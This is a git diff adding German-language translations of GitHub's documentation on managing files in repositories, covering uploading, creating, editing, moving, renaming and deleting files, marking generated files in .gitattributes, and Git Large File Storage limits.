+++ b/translations/de-DE/content/repositories/working-with-files/index.md
@@ -0,0 +1,28 @@
+---
+title: Arbeiten mit Dateien
+intro: 'Erfahre, wie du Dateien in Repositorys verwaltest und verwendest.'
+redirect_from:
+  - /categories/81/articles
+  - /categories/manipulating-files
+  - /categories/managing-files-in-a-repository
+  - /github/managing-files-in-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /managing-files
+  - /using-files
+  - /managing-large-files
+shortTitle: Work with files
+ms.openlocfilehash: 69ad8b7c9f95e2b4f4cdc9c27fc625af8cd28fd8
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145132003'
+---
+
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md b/translations/de-DE/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md
new file mode 100644
index 0000000000..4907c70c9c
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-files/adding-a-file-to-a-repository.md
@@ -0,0 +1,76 @@
+---
+title: Adding a file to a repository
+intro: 'You can upload and commit an existing file to a repository on {% data variables.product.product_name %} or by using the command line.'
+redirect_from:
+  - /articles/adding-a-file-to-a-repository
+  - /github/managing-files-in-a-repository/adding-a-file-to-a-repository
+  - /articles/adding-a-file-to-a-repository-from-the-command-line
+  - /articles/adding-a-file-to-a-repository-using-the-command-line
+  - /github/managing-files-in-a-repository/adding-a-file-to-a-repository-using-the-command-line
+  - /github/managing-files-in-a-repository/managing-files-on-github/adding-a-file-to-a-repository
+  - /github/managing-files-in-a-repository/managing-files-using-the-command-line/adding-a-file-to-a-repository-using-the-command-line
+  - /github/managing-large-files/about-large-files-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Add a file
+---
+
+## Adding a file to a repository on {% data variables.product.product_name %}
+
+Files that you add to a repository via a browser are limited to {% data variables.large_files.max_github_browser_size %} per file. You can add larger files, up to {% data variables.large_files.max_github_size %} each, via the command line. For more information, see "[Adding a file to a repository using the command line](#adding-a-file-to-a-repository-using-the-command-line)." To add files larger than {% data variables.large_files.max_github_size %}, you must use {% data variables.large_files.product_name_long %}. For more information, see "[About large files on {% data variables.product.product_name %}](/repositories/working-with-files/managing-large-files/about-large-files-on-github)."
+
+{% tip %}
+
+**Tips:**
+- You can upload multiple files to {% data variables.product.product_name %} at the same time.
+- {% data reusables.repositories.protected-branches-block-web-edits-uploads %}
+
+{% endtip %}
+
+{% data reusables.repositories.navigate-to-repo %}
+2. Above the list of files, using the **Add file** drop-down, click **Upload files**.
+  !["Upload files" in the "Add file" dropdown](/assets/images/help/repository/upload-files-button.png)
+3. Drag and drop the file or folder you'd like to upload to your repository onto the file tree.
+![Drag and drop area](/assets/images/help/repository/upload-files-drag-and-drop.png)
+{% data reusables.files.write_commit_message %}
+{% data reusables.files.choose_commit_branch %}
+6. Click **Commit changes**.
+![Commit changes button](/assets/images/help/repository/commit-changes-button.png)
+
+## Adding a file to a repository using the command line
+
+You can upload an existing file to a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} using the command line.
+
+{% tip %}
+
+**Tip:** You can also [add an existing file to a repository from the {% data variables.product.product_name %} website](/articles/adding-a-file-to-a-repository).
+
+{% endtip %}
+
+{% data reusables.command_line.manipulating_file_prereqs %}
+
+{% data reusables.repositories.sensitive-info-warning %}
+
+1. On your computer, move the file you'd like to upload to {% data variables.product.product_name %} into the local directory that was created when you cloned the repository.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+{% data reusables.command_line.switching_directories_procedural %}
+{% data reusables.git.stage_for_commit %}
+  ```shell
+  $ git add .
+  # Adds the file to your local repository and stages it for commit. {% data reusables.git.unstage-codeblock %}
+  ```
+{% data reusables.git.commit-file %}
+  ```shell
+  $ git commit -m "Add existing file"
+  # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
+  ```
+{% data reusables.git.git-push %}
+
+## Further reading
+
+- "[Adding locally hosted code to {% data variables.product.product_name %}](/get-started/importing-your-projects-to-github/importing-source-code-to-github//adding-locally-hosted-code-to-github)"
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-files/creating-new-files.md b/translations/de-DE/content/repositories/working-with-files/managing-files/creating-new-files.md
new file mode 100644
index 0000000000..a0fc8528a9
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-files/creating-new-files.md
@@ -0,0 +1,37 @@
+---
+title: Neue Dateien erstellen
+intro: 'Du kannst neue Dateien direkt auf {% data variables.product.product_name %} in jedem Repository erstellen, auf das du Schreibzugriff hast.'
+redirect_from:
+  - /articles/creating-new-files
+  - /github/managing-files-in-a-repository/creating-new-files
+  - /github/managing-files-in-a-repository/managing-files-on-github/creating-new-files
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+ms.openlocfilehash: 1acc03b74e037db35a612cd9173e995bbf9e5271
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131992'
+---
+Wenn du eine Datei auf {% data variables.product.product_name %} erstellst, beachte Folgendes:
+
+- Wenn du versuchst, eine neue Datei in einem Repository zu erstellen, auf das du keinen Zugriff hast, erstellen wir einen Fork des Projekts in deinem persönlichen Konto und helfen dir, nach dem Commit deiner Änderung einen [Pull Request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) an das Originalrepository zu senden.
+- Dateinamen, die in der Weboberfläche erstellt werden, dürfen nur alphanumerische Zeichen und Bindestriche (`-`) enthalten. Um andere Zeichen zu verwenden, [erstellst und committest du die Dateien lokal und verschiebst sie dann in das Repository auf {% data variables.product.product_name %}](/articles/adding-a-file-to-a-repository-using-the-command-line).
+
+{% data reusables.repositories.sensitive-info-warning %}
+
+{% data reusables.repositories.navigate-to-repo %}
+2. Navigiere in deinem Repository zu dem Ordner, in dem du eine Datei erstellen möchtest.
+{% data reusables.files.add-file %}
+4. Gib im Feld für den Dateinamen den Namen und die Erweiterung für die Datei ein. Um Unterverzeichnisse zu erstellen, gibst du das Verzeichnistrennzeichen `/` ein.
+![Neuer Dateiname](/assets/images/help/repository/new-file-name.png)
+5. Füge der Datei auf der Registerkarte **Neue Datei bearbeiten** Inhalte hinzu.
+![Inhalt in neuer Datei](/assets/images/help/repository/new-file-content.png)
+6. Klicke auf **Vorschau**, um den neuen Inhalt zu überprüfen.
+![Schaltfläche „Vorschau“ für neue Dateien](/assets/images/help/repository/new-file-preview.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %}
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github.md b/translations/de-DE/content/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github.md
new file mode 100644
index 0000000000..289c68f38e
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-files/customizing-how-changed-files-appear-on-github.md
@@ -0,0 +1,36 @@
+---
+title: Darstellung geänderter Dateien auf GitHub anpassen
+intro: 'Damit bestimmte Dateien nicht standardmäßig als Diffs angezeigt oder zur Sprache des Repositorys hinzugezählt werden, kannst du sie in einer *.gitattributes*-Datei mit dem Attribut `linguist-generated` markieren.'
+redirect_from:
+  - /articles/customizing-how-changed-files-appear-on-github
+  - /github/administering-a-repository/customizing-how-changed-files-appear-on-github
+  - /github/administering-a-repository/managing-repository-settings/customizing-how-changed-files-appear-on-github
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: How changed files appear
+ms.openlocfilehash: 2ba6dc8286cab0ef493289d8ae39283209dae8b4
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131991'
+---
+Mit einer *.gitattributes*-Datei kannst du Dateien markieren, die einem bestimmten „Muster“ mit den angegebenen Attributen entsprechen. Eine *.gitattributes*-Datei verwendet für den Abgleich dieselben Regeln wie _.gitignore_-Dateien. Weitere Informationen findest du in der Git-Dokumentation unter [PATTERN FORMAT](https://www.git-scm.com/docs/gitignore#_pattern_format).
+
+1. Falls die *.gitattributes*-Datei nicht schon vorhanden ist, erstellst du eine *.gitattributes*-Datei im Stammverzeichnis des Repositorys.
+2. Mit dem Attribut `linguist-generated` kannst du Pfade markieren (bzw. deren Markierung aufheben), die bei der Sprachstatistik des Repositorys nicht berücksichtigt und in Diffs standardmäßig ausgeblendet werden sollen.
+
+  Um z. B. `search/index.json` als generierte Datei zu markieren, fügst du der *.gitattributes*-Datei die folgende Zeile hinzu:
+
+  ```
+search/index.json linguist-generated=true
+  ```
+
+## Weiterführende Themen
+- [Generierter Code](https://github.com/github/linguist/blob/master/docs/overrides.md#generated-code) in der Linguist-Dokumentation
+- [Erstellen neuer Dateien](/articles/creating-new-files/)
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md b/translations/de-DE/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md
new file mode 100644
index 0000000000..140370012d
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-files/deleting-files-in-a-repository.md
@@ -0,0 +1,47 @@
+---
+title: Löschen von Dateien in einem Repository
+intro: 'Du kannst eine einzelne Datei oder{% ifversion fpt or ghes or ghec %} ein gesamtes Verzeichnis{% endif %} in deinem Repository auf {% data variables.product.product_name %} löschen.'
+redirect_from:
+  - /articles/deleting-files
+  - /github/managing-files-in-a-repository/deleting-files
+  - /github/managing-files-in-a-repository/deleting-a-file-or-directory
+  - /github/managing-files-in-a-repository/deleting-files-in-a-repository
+  - /github/managing-files-in-a-repository/managing-files-on-github/deleting-files-in-a-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+permissions: 'People with write permissions can delete files{% ifversion fpt or ghes or ghec %} or directories{% endif %} in a repository.'
+topics:
+  - Repositories
+shortTitle: Delete files
+ms.openlocfilehash: b3d939a7be6be37e875104f7a3c4df53f7a3b7ed
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131986'
+---
+## Informationen zum Löschen von Dateien {% ifversion fpt or ghes or ghec %} und Verzeichnissen{% endif %}
+
+Du kannst eine einzelne Datei in deinem Repository löschen{% ifversion fpt or ghes or ghec %}, aber auch ein ganzes Verzeichnis inklusive aller im Verzeichnis enthaltenen Dateien{% endif %}.
+
+Wenn du versuchst, eine Datei{% ifversion fpt or ghes or ghec %} oder Verzeichnis{% endif %} in einem Repository zu löschen, für das du keine Schreibberechtigung hast, erstellen wir einen Fork des Projekts in deinem persönlichen Konto und helfen dir dabei, nach dem Commit deiner Änderung einen Pull Request an das Original-Repository zu senden. Weitere Informationen findest du unter [Informationen zu Pull Requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests).
+
+Wenn die gelöschte Datei{% ifversion fpt or ghes or ghec %} bzw. das Verzeichnis{% endif %} vertrauliche Daten enthalten hat, sind diese Daten noch im Git-Verlauf des Repositorys verfügbar. Um die Datei vollständig aus {% data variables.product.product_name %} zu entfernen, musst du die Datei aus dem Verlauf deines Repositorys entfernen. Weitere Informationen findest du unter [Entfernen sensibler Daten aus einem Repository](/github/authenticating-to-github/removing-sensitive-data-from-a-repository).
+
+## Löschen einer Datei
+
+1. Navigiere zu der Datei in deinem Repository, die du löschen möchtest.
+2. Klicke oben in der Datei auf {% octicon "trash" aria-label="The trash icon" %}.
+{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %}
+
+{% ifversion fpt or ghes or ghec %}
+## Löschen eines Verzeichnisses
+
+1. Navigiere zu dem Verzeichnis in deinem Repository, das du löschen möchtest.
+1. Klicke oben rechts auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, und klicke dann auf **Verzeichnis löschen**.
+  ![Schaltfläche zum Löschen eines Verzeichnisses](/assets/images/help/repository/delete-directory-button.png)
+1. Überprüfe die Dateien, die du löschen willst.
+{% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} {% endif %}
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-files/editing-files.md b/translations/de-DE/content/repositories/working-with-files/managing-files/editing-files.md
new file mode 100644
index 0000000000..f2c216f9ca
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-files/editing-files.md
@@ -0,0 +1,59 @@
+---
+title: Bearbeiten von Dateien
+intro: 'Du kannst Dateien direkt auf {% data variables.product.product_name %} in jedem deiner Repositorys mit dem Datei-Editor bearbeiten.'
+redirect_from:
+  - /articles/editing-files
+  - /articles/editing-files-in-your-repository
+  - /github/managing-files-in-a-repository/editing-files-in-your-repository
+  - /articles/editing-files-in-another-user-s-repository
+  - /github/managing-files-in-a-repository/editing-files-in-another-users-repository
+  - /github/managing-files-in-a-repository/managing-files-on-github/editing-files-in-your-repository
+  - /github/managing-files-in-a-repository/managing-files-on-github/editing-files-in-another-users-repository
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Edit files
+ms.openlocfilehash: 515b773aaa9dd2a93d6c0b4b70adb3ef10afe082
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131985'
+---
+## Dateien in Ihrem Repository bearbeiten
+
+{% tip %}
+
+**Tipp:** {% data reusables.repositories.protected-branches-block-web-edits-uploads %}
+
+{% endtip %}
+
+{% note %}
+
+**Hinweis:** Der Datei-Editor von {% data variables.product.product_name %} verwendet [CodeMirror](https://codemirror.net/).
+
+{% endnote %}
+
+1. Navigiere in Deinem Repository zu der Datei, die Du bearbeiten möchtest.
+{% data reusables.repositories.edit-file %}
+3. Nimm auf der Registerkarte **Datei bearbeiten** alle erforderlichen Änderungen an der Datei vor.
+![Neuer Inhalt in Datei](/assets/images/help/repository/edit-readme-light.png) {% data reusables.files.preview_change %} {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %}
+
+## Dateien im Repository eines anderen Benutzers bearbeiten
+
+Wenn du eine Datei im Repository eines anderen Benutzers bearbeitest, wird für dich [automatisch ein Fork des Repositorys erstellt](/articles/fork-a-repo) und ein [Pull Request geöffnet](/articles/creating-a-pull-request).
+
+1. Navigiere im Repository eines anderen Benutzers zu dem Ordner mit der Datei, die Du bearbeiten möchtest. Klicke auf den Namen der Datei, die Du bearbeiten möchtest.
+2. Klicke oberhalb des Dateiinhalts auf {% octicon "pencil" aria-label="The edit icon" %}. An dieser Stelle forkt GitHub das Repository für Dich.
+3. Nimm alle erforderlichen Änderungen an der Datei vor.
+![Neuer Inhalt in Datei](/assets/images/help/repository/edit-readme-light.png) {% data reusables.files.preview_change %} {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %}
+6. Klicke auf **Dateiänderung vorschlagen**.
+![Schaltfläche „Änderungen committen“](/assets/images/help/repository/propose_file_change_button.png)
+7. Gib einen Titel und eine Beschreibung für Deinen Pull Request ein.
+![Seite für Beschreibung des Pull Requests](/assets/images/help/pull_requests/pullrequest-description.png)
+8. Klicke auf **Pull Request erstellen**.
+![Schaltfläche „Pull Request"](/assets/images/help/pull_requests/pullrequest-send.png)
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-files/index.md b/translations/de-DE/content/repositories/working-with-files/managing-files/index.md
new file mode 100644
index 0000000000..b28ae535bd
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-files/index.md
@@ -0,0 +1,31 @@
+---
+title: Dateien verwalten
+intro: 'Auf {% data variables.product.product_name %} kannst du Dateien in einem Repository erstellen, bearbeiten, verschieben und löschen.'
+redirect_from:
+  - /articles/managing-files-on-github
+  - /github/managing-files-in-a-repository/managing-files-on-github
+  - /github/managing-files-in-a-repository/managing-files-using-the-command-line
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+children:
+  - /creating-new-files
+  - /adding-a-file-to-a-repository
+  - /moving-a-file-to-a-new-location
+  - /editing-files
+  - /renaming-a-file
+  - /deleting-files-in-a-repository
+  - /customizing-how-changed-files-appear-on-github
+  - /navigating-files-with-the-new-code-view
+ms.openlocfilehash: 4c2a28474175d11d29f78d41a281f4072485eb62
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159581'
+---
+
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md b/translations/de-DE/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md
new file mode 100644
index 0000000000..c01869af89
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-files/moving-a-file-to-a-new-location.md
@@ -0,0 +1,97 @@
+---
+title: Verschieben einer Datei an einen neuen Speicherort
+intro: 'Du kannst eine Datei in ein anderes Verzeichnis auf {% data variables.product.product_name %} verschieben oder die Befehlszeile verwenden.'
+redirect_from:
+  - /articles/moving-a-file-to-a-new-location
+  - /github/managing-files-in-a-repository/moving-a-file-to-a-new-location
+  - /articles/moving-a-file-to-a-new-location-using-the-command-line
+  - /github/managing-files-in-a-repository/moving-a-file-to-a-new-location-using-the-command-line
+  - /github/managing-files-in-a-repository/managing-files-on-github/moving-a-file-to-a-new-location
+  - /github/managing-files-in-a-repository/managing-files-using-the-command-line/moving-a-file-to-a-new-location-using-the-command-line
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+shortTitle: Move a file
+ms.openlocfilehash: 90e9434401795b6222d6304464c5a7d3839e0b7f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145131979'
+---
+Zusätzlich zum Ändern des Dateispeicherorts kannst du auch [den Inhalt deiner Datei aktualisieren](/articles/editing-files-in-your-repository) oder ihr im selben Commit [einen neuen Namen](/articles/renaming-a-file) geben.
+
+## Verschieben einer Datei an einen neuen Speicherort in {% data variables.product.product_name %}
+
+{% tip %}
+
+**Tipps**:
+
+- Wenn du versuchst, eine Datei in einem Repository umzubenennen, auf das du keinen Zugriff hast, erstellen wir einen Fork des Projekts in deinem persönlichen Konto und helfen dir, nach dem Commit deiner Änderung einen [Pull Request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) an das Original-Repository zu senden.
+- Einige Dateien, beispielsweise Bilder, kannst du nur über die Befehlszeile verschieben. Weitere Informationen findest du unter [Verschieben einer Datei an einen neuen Speicherort über die Befehlszeile](/articles/moving-a-file-to-a-new-location-using-the-command-line).
+- {% data reusables.repositories.protected-branches-block-web-edits-uploads %}
+
+{% endtip %}
+
+1. Navigiere in deinem Repository zu der Datei, die du verschieben möchtest.
+2. Klicke zum Öffnen des Datei-Editors oben rechts in der Dateiansicht auf {% octicon "pencil" aria-label="The edit icon" %}.
+![Symbol „Datei bearbeiten“](/assets/images/help/repository/move-file-edit-file-icon.png)
+3. Ändere unter Beachtung der Richtlinien unter ![Bearbeiten eines Dateinamens](/assets/images/help/repository/moving_files.gif) im Feld „Dateiname“ den Namen für die Datei.
+    - Um die Datei **in einen Unterordner** zu verschieben, gib den Namen des gewünschten Ordners ein, gefolgt von `/`. Dein neuer Ordnername wird ein neues Element in den Navigations-Breadcrumbs.
+    - Um die Datei in ein Verzeichnis zu verschieben, das **im Verzeichnispfad über dem aktuellen Speicherort der Datei liegt**, zeige mit dem Mauszeiger auf den Anfang des Felds „Dateiname“, und gib dann `../` ein, um im Verzeichnispfad eine ganze Ebene nach oben zu wechseln. Alternativ kannst du auch die Taste `backspace` verwenden, um den Namen des übergeordneten Ordners zu bearbeiten.
+{% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %}
+
+## Datei über die Befehlszeile an einen neuen Speicherort verschieben 
+
+Du kannst über die Befehlszeile Dateien innerhalb eines Repositorys verschieben, indem du die Datei vom alten Speicherort entfernst und am neuen Speicherort hinzufügst.
+
+Die meisten Dateien können [direkt in {% data variables.product.product_name %} verschoben werden](/articles/moving-a-file-to-a-new-location). Bei einigen Dateien (z. B. Bilddateien) ist das jedoch nur über die Befehlszeile möglich.
+
+{% data reusables.command_line.manipulating_file_prereqs %}
+
+1. Verschiebe auf dem Computer die Datei an einen neuen Speicherort innerhalb des Verzeichnisses, das beim Klonen des Repositorys lokal auf dem Computer erstellt wurde.
+{% data reusables.command_line.open_the_multi_os_terminal %}
+3. Mit `git status` kannst du die alten und neuen Dateispeicherorte überprüfen.
+  ```shell
+  $ git status
+  > # On branch <em>your-branch</em>
+  > # Changes not staged for commit:
+  > #   (use "git add/rm <file>..." to update what will be committed)
+  > #   (use "git checkout -- <file>..." to discard changes in working directory)
+  > #
+  > #     deleted:    /<em>old-folder</em>/<em>image.png</em>
+  > #
+  > # Untracked files:
+  > #   (use "git add <file>..." to include in what will be committed)
+  > #
+  > #     /<em>new-folder</em>/<em>image.png</em>
+  > #
+  > # no changes added to commit (use "git add" and/or "git commit -a")
+  ```
+{% data reusables.git.stage_for_commit %} Dadurch wird die Datei am alten Speicherort gelöscht (`git rm`) und am neuen Speicherort hinzugefügt (`git add`).
+  ```shell
+  $ git add .
+  # Adds the file to your local repository and stages it for commit.
+  # {% data reusables.git.unstage-codeblock %}
+  ```
+5. Mit `git status` kannst du die für den Commit anstehenden Änderungen überprüfen.
+  ```shell
+  $ git status
+  > # On branch <em>your-branch</em>
+  > # Changes to be committed:
+  > #   (use "git reset HEAD <file>..." to unstage)
+  > #
+  > #    renamed:    /old-folder/image.png -> /new-folder/image.png
+  # Displays the changes staged for commit
+  ```
+{% data reusables.git.commit-file %}
+  ```shell
+  $ git commit -m "Move file to new directory"
+  # Commits the tracked changes and prepares them to be pushed to a remote repository.
+  # {% data reusables.git.reset-head-to-previous-commit-codeblock %}
+  ```
+{% data reusables.git.git-push %}
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-files/renaming-a-file.md b/translations/de-DE/content/repositories/working-with-files/managing-files/renaming-a-file.md
new file mode 100644
index 0000000000..d39d5df248
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-files/renaming-a-file.md
@@ -0,0 +1,75 @@
+---
+title: Umbenennen einer Datei
+intro: 'Du kannst Dateien direkt in deinem Repository auf {% data variables.product.product_name %} umbenennen oder die Befehlszeile verwenden.'
+redirect_from:
+  - /articles/renaming-a-file
+  - /github/managing-files-in-a-repository/renaming-a-file
+  - /articles/renaming-a-file-using-the-command-line
+  - /github/managing-files-in-a-repository/renaming-a-file-using-the-command-line
+  - /github/managing-files-in-a-repository/managing-files-on-github/renaming-a-file
+  - /github/managing-files-in-a-repository/managing-files-using-the-command-line/renaming-a-file-using-the-command-line
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Repositories
+ms.openlocfilehash: 826c9c45ee8cace0d3e81c78fc010ac4c76f9ab1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145131968'
+---
+## Umbenennen einer Datei in {% data variables.product.product_name %}
+
+Durch das Umbenennen einer Datei hast du auch die Möglichkeit, [die Datei an einen neuen Speicherort zu verschieben](/articles/moving-a-file-to-a-new-location)
+
+{% tip %}
+
+**Tipps**:
+
+- Wenn du versuchst, eine Datei in einem Repository umzubenennen, auf das du keinen Zugriff hast, erstellen wir einen Fork des Projekts in deinem persönlichen Konto und helfen dir, nach dem Commit deiner Änderung einen [Pull Request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests) an das Original-Repository zu senden.
+- Dateinamen, die in der Weboberfläche erstellt werden, dürfen nur alphanumerische Zeichen und Bindestriche (`-`) enthalten. Wenn du andere Zeichen verwenden möchtest, musst du die Dateien lokal erstellen und freigeben und sie anschließend per Push in das Repository übertragen.
+- Einige Dateien, beispielsweise Bilder, kannst du nur über die Befehlszeile umbenennen. Weitere Informationen findest du unter [Umbenennen einer Datei über die Befehlszeile](/articles/renaming-a-file-using-the-command-line).
+
+{% endtip %}
+
+1. Navigiere innerhalb des Repositorys zu der Datei, die du umbenennen möchtest.
+2. Klicke zum Öffnen des Datei-Editors oben rechts in der Dateiansicht auf {% octicon "pencil" aria-label="The edit icon" %}.
+![Symbol „Datei bearbeiten"](/assets/images/help/repository/edit-file-icon.png)
+3. Gib im Feld „Filename“ (Dateiname) den neuen Namen für die Datei ein. Gleichzeitig kannst du auch den Inhalt der Datei ändern.
+![Bearbeiten eines Dateinamens](/assets/images/help/repository/changing-file-name.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %}
+
+## Datei über die Befehlszeile umbenennen 
+
+Du kannst jede Datei deines Repositorys über die Befehlszeile umbenennen.
+
+Die meisten Dateien können [direkt auf {% data variables.product.product_name %} umbenannt werden](/articles/renaming-a-file). Bei manchen Dateien, beispielsweise bei Bilddateien, ist dies jedoch nur über die Befehlszeile möglich.
+
+{% data reusables.command_line.manipulating_file_prereqs %}
+
+{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.command_line.switching_directories_procedural %}
+3. Benenne die Datei um. Gib dazu zunächst den bisherigen Dateinamen und danach den gewünschten neuen Dateinamen ein. Deine Änderung wird dadurch für den Commit bereitgestellt.
+  ```shell
+  $ git mv <em>old_filename</em> <em>new_filename</em>
+  ```
+4. Mit `git status` kannst du die alten und neuen Dateinamen überprüfen.
+  ```shell
+  $ git status
+  > # On branch <em>your-branch</em>
+  > # Changes to be committed:
+  > #   (use "git reset HEAD <file>..." to unstage)
+  > #
+  > #     renamed: <em>old_filename</em> -> <em>new_filename</em>
+  > #
+  ```
+{% data reusables.git.commit-file %}
+  ```shell
+  $ git commit -m "Rename file"
+  # Commits the tracked changes and prepares them to be pushed to a remote repository.
+  # {% data reusables.git.reset-head-to-previous-commit-codeblock %}
+  ```
+{% data reusables.git.git-push %}
+
diff --git a/translations/de-DE/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md b/translations/de-DE/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md
new file mode 100644
index 0000000000..d50ef20b38
--- /dev/null
+++ b/translations/de-DE/content/repositories/working-with-files/managing-large-files/about-git-large-file-storage.md
@@ -0,0 +1,65 @@
+---
+title: Informationen zu Git Large File Storage
+intro: '{% data variables.product.product_name %} schränkt die Größe der in Repositorys erlaubten Dateien ein. Um Dateien außerhalb dieses Grenzwerts nachzuverfolgen, kannst du {% data variables.large_files.product_name_long %} verwenden.'
+redirect_from:
+  - /articles/about-large-file-storage
+  - /articles/about-git-large-file-storage
+  - /github/managing-large-files/about-git-large-file-storage
+  - /github/managing-large-files/versioning-large-files/about-git-large-file-storage
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Git Large File Storage
+ms.openlocfilehash: f0ab54791645dc5c36cce2880ba3ae5c9b705f35
+ms.sourcegitcommit: 06726d24e73f1175f10749d6fdcf143d6094c9a5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/28/2022
+ms.locfileid: '148118752'
+---
+## Informationen zu {% data variables.large_files.product_name_long %}
+
+{% data variables.large_files.product_name_short %} verarbeitet große Dateien, indem Referenzen auf die Datei im Repository gespeichert werden, nicht aber die Datei an sich. Um die Architektur von Git zu umgehen, erstellt {% data variables.large_files.product_name_short %} eine Pointer-Datei, die als Verweis auf die eigentliche Datei (die an einem anderen Ort gespeichert ist) dient. {% data variables.product.product_name %} verwaltet diese Pointer-Datei in deinem Repository. Wenn du das Repository klonst, verwendet {% data variables.product.product_name %} die Pointer-Datei als Karte, um die große Datei für dich zu finden.
+
+{% ifversion fpt or ghec %} Mit {% data variables.large_files.product_name_short %} kannst du Dateien jeweils bis zu einer bestimmten Größe speichern:
+
+| Produkt | Maximale Dateigröße |
+|------- | ------- |
+| {% data variables.product.prodname_free_user %} | 2 GB |
+| {% data variables.product.prodname_pro %} | 2 GB |
+| {% data variables.product.prodname_team %} | 4 GB |
+| {% data variables.product.prodname_ghe_cloud %} | 5 GB |{% else %}
+Mit {% data variables.large_files.product_name_short %} kannst du Dateien bis zu einer Größe von 5 GB in deinem Repository speichern.
+{% endif %} 
+
+{% data reusables.repositories.git-lfs %}
+
